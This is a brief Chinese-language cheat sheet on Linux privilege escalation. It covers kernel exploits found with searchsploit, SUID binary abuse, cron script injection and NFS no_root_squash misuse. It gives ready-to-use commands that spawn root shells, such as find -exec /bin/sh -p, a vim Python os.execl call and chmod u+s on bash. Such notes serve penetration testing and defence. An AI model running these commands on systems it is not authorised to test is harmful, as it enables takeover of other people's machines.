Linux权限提升(提权)需利用系统漏洞或配置缺陷,以下是常见方法及对应工具/技术:
通过利用内核漏洞直接获取root权限,是最直接的方式。
uname -a。searchsploit工具匹配内核版本对应的漏洞(如Dirty Cow、PwnKit)。gcc编译。利用设置了SUID位的程序以文件所有者权限执行命令。
find / -perm -4000 2>/dev/null。find . -exec /bin/sh -p \;(利用find命令)。vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-p")'(利用vim的Python接口)。通过修改root用户的计划任务脚本植入恶意代码。
ls -la /etc/cron*。chmod u+s /bin/bash等命令,任务执行时获取root权限。利用NFS服务器配置不当(no_root_squash)以root身份访问共享目录。
mount -t nfs <目标IP>:/share /tmp/nfs。cp /bin/bash /tmp/nfs/ && chmod u+s /tmp/nfs/bash。bash。参考来源: